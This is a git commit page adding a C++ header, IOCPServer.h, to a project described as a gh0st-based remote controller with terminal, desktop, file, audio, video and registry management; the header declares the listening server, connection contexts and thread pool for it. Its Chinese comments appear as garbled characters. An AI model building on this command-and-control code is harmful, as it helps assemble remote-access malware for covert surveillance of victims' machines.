基于gh0st的远程控制器
实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
This commit is contained in:
151
server/2015Remote/IOCPServer.h
Normal file
151
server/2015Remote/IOCPServer.h
Normal file
@@ -0,0 +1,151 @@
|
||||
#pragma once
|
||||
|
||||
#include <WinSock2.h>
|
||||
#pragma comment(lib,"ws2_32.lib")
|
||||
#include "CpuUseage.h"
|
||||
#include "Buffer.h"
|
||||
|
||||
#include <Mstcpip.h>
|
||||
#define PACKET_LENGTH 0x2000
|
||||
|
||||
#define FLAG_LENGTH 5
|
||||
#define HDR_LENGTH 13
|
||||
|
||||
#define NC_CLIENT_CONNECT 0x0001
|
||||
#define NC_RECEIVE 0x0004
|
||||
#define NC_RECEIVE_COMPLETE 0x0005 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
enum IOType
|
||||
{
|
||||
IOInitialize,
|
||||
IORead,
|
||||
IOWrite,
|
||||
IOIdle
|
||||
};
|
||||
|
||||
typedef struct _CONTEXT_OBJECT
|
||||
{
|
||||
SOCKET sClientSocket;
|
||||
WSABUF wsaInBuf;
|
||||
WSABUF wsaOutBuffer;
|
||||
char szBuffer[PACKET_LENGTH];
|
||||
CBuffer InCompressedBuffer; // <20><><EFBFBD>յ<EFBFBD><D5B5><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CBuffer InDeCompressedBuffer; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CBuffer OutCompressedBuffer;
|
||||
int v1;
|
||||
HANDLE hDlg;
|
||||
|
||||
VOID InitMember()
|
||||
{
|
||||
memset(szBuffer,0,sizeof(char)*PACKET_LENGTH);
|
||||
v1 = 0;
|
||||
hDlg = NULL;
|
||||
sClientSocket = INVALID_SOCKET;
|
||||
memset(&wsaInBuf,0,sizeof(WSABUF));
|
||||
memset(&wsaOutBuffer,0,sizeof(WSABUF));
|
||||
}
|
||||
}CONTEXT_OBJECT,*PCONTEXT_OBJECT;
|
||||
|
||||
typedef CList<PCONTEXT_OBJECT> ContextObjectList;
|
||||
|
||||
class IOCPServer
|
||||
{
|
||||
public:
|
||||
SOCKET m_sListenSocket;
|
||||
HANDLE m_hCompletionPort;
|
||||
UINT m_ulMaxConnections; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
HANDLE m_hListenEvent;
|
||||
HANDLE m_hListenThread;
|
||||
BOOL m_bTimeToKill;
|
||||
HANDLE m_hKillEvent;
|
||||
|
||||
ULONG m_ulThreadPoolMin;
|
||||
ULONG m_ulThreadPoolMax;
|
||||
ULONG m_ulCPULowThreadsHold;
|
||||
ULONG m_ulCPUHighThreadsHold;
|
||||
ULONG m_ulCurrentThread;
|
||||
ULONG m_ulBusyThread;
|
||||
|
||||
CCpuUsage m_cpu;
|
||||
|
||||
ULONG m_ulKeepLiveTime;
|
||||
|
||||
char m_szPacketFlag[FLAG_LENGTH];
|
||||
|
||||
typedef void (CALLBACK *pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
|
||||
typedef void (CALLBACK *pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
|
||||
BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
|
||||
|
||||
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
|
||||
BOOL IOCPServer::InitializeIOCP(VOID);
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
ULONG m_ulWorkThreadCount;
|
||||
VOID IOCPServer::OnAccept();
|
||||
static CRITICAL_SECTION m_cs;
|
||||
|
||||
/************************************************************************/
|
||||
//<2F><><EFBFBD>±<EFBFBD><C2B1><EFBFBD><EFBFBD>Ķ<EFBFBD><C4B6><EFBFBD>
|
||||
ContextObjectList m_ContextConnectionList;
|
||||
ContextObjectList m_ContextFreePoolList;
|
||||
PCONTEXT_OBJECT IOCPServer::AllocateContext();
|
||||
VOID RemoveStaleContext(CONTEXT_OBJECT* ContextObject);
|
||||
VOID IOCPServer::MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject);
|
||||
|
||||
VOID IOCPServer::PostRecv(CONTEXT_OBJECT* ContextObject);
|
||||
|
||||
/************************************************************************/
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||
BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||
BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||
VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer , ULONG ulOriginalLength);
|
||||
BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompressedLength);
|
||||
IOCPServer(void);
|
||||
~IOCPServer(void);
|
||||
|
||||
pfnNotifyProc m_NotifyProc;
|
||||
pfnOfflineProc m_OfflineProc;
|
||||
};
|
||||
|
||||
class CLock
|
||||
{
|
||||
public:
|
||||
CLock(CRITICAL_SECTION& cs)
|
||||
{
|
||||
m_cs = &cs;
|
||||
Lock();
|
||||
}
|
||||
~CLock()
|
||||
{
|
||||
Unlock();
|
||||
|
||||
}
|
||||
|
||||
void Unlock()
|
||||
{
|
||||
LeaveCriticalSection(m_cs);
|
||||
}
|
||||
|
||||
void Lock()
|
||||
{
|
||||
EnterCriticalSection(m_cs);
|
||||
}
|
||||
|
||||
protected:
|
||||
CRITICAL_SECTION* m_cs;
|
||||
};
|
||||
|
||||
|
||||
class OVERLAPPEDPLUS
|
||||
{
|
||||
public:
|
||||
|
||||
OVERLAPPED m_ol;
|
||||
IOType m_ioType;
|
||||
|
||||
OVERLAPPEDPLUS(IOType ioType)
|
||||
{
|
||||
ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
|
||||
m_ioType = ioType;
|
||||
}
|
||||
};
|
||||
Reference in New Issue
Block a user